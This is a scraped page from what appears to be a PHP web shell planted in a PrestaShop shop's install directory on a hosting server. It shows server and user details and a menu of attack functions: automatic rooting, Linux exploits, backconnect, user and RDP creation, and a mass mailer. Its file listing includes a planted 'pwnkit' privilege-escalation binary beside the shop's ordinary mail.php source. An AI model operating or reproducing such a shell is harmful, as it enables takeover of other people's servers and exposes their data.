Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
install /
models /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
database.php
3.95
KB
-rw----r--
index.php
1.24
KB
-rw----r--
install.php
23.21
KB
-rw----r--
mail.php
2.82
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
system.php
1.51
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mail.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class InstallModelMail extends InstallAbstractModel { /** * @param bool $smtp_checked * @param string $server * @param string $login * @param string $password * @param int $port * @param string $encryption * @param string $email */ public function __construct($smtp_checked, $server, $login, $password, $port, $encryption, $email) { parent::__construct(); require_once(_PS_CORE_DIR_.'/tools/swift/Swift.php'); require_once(_PS_CORE_DIR_.'/tools/swift/Swift/Connection/SMTP.php'); require_once(_PS_CORE_DIR_.'/tools/swift/Swift/Connection/NativeMail.php'); $this->smtp_checked = $smtp_checked; $this->server = $server; $this->login = $login; $this->password = $password; $this->port = $port; $this->encryption = $encryption; $this->email = $email; } /** * Send a mail * * @param string $subject * @param string $content * @return bool|string false is everything was fine, or error string */ public function send($subject, $content) { try { // Test with custom SMTP connection if ($this->smtp_checked) { $smtp = new Swift_Connection_SMTP($this->server, $this->port, ($this->encryption == "off") ? Swift_Connection_SMTP::ENC_OFF : (($this->encryption == "tls") ? Swift_Connection_SMTP::ENC_TLS : Swift_Connection_SMTP::ENC_SSL)); $smtp->setUsername($this->login); $smtp->setpassword($this->password); $smtp->setTimeout(5); $swift = new Swift($smtp); } else // Test with normal PHP mail() call $swift = new Swift(new Swift_Connection_NativeMail()); $message = new Swift_Message($subject, $content, 'text/html'); if (@$swift->send($message, $this->email, 'no-reply@'.Tools::getHttpHost(false, false, true))) $result = false; else $result = 'Could not send message'; $swift->disconnect(); } catch (Swift_Exception $e) { $result = $e->getMessage(); } return $result; } }
Close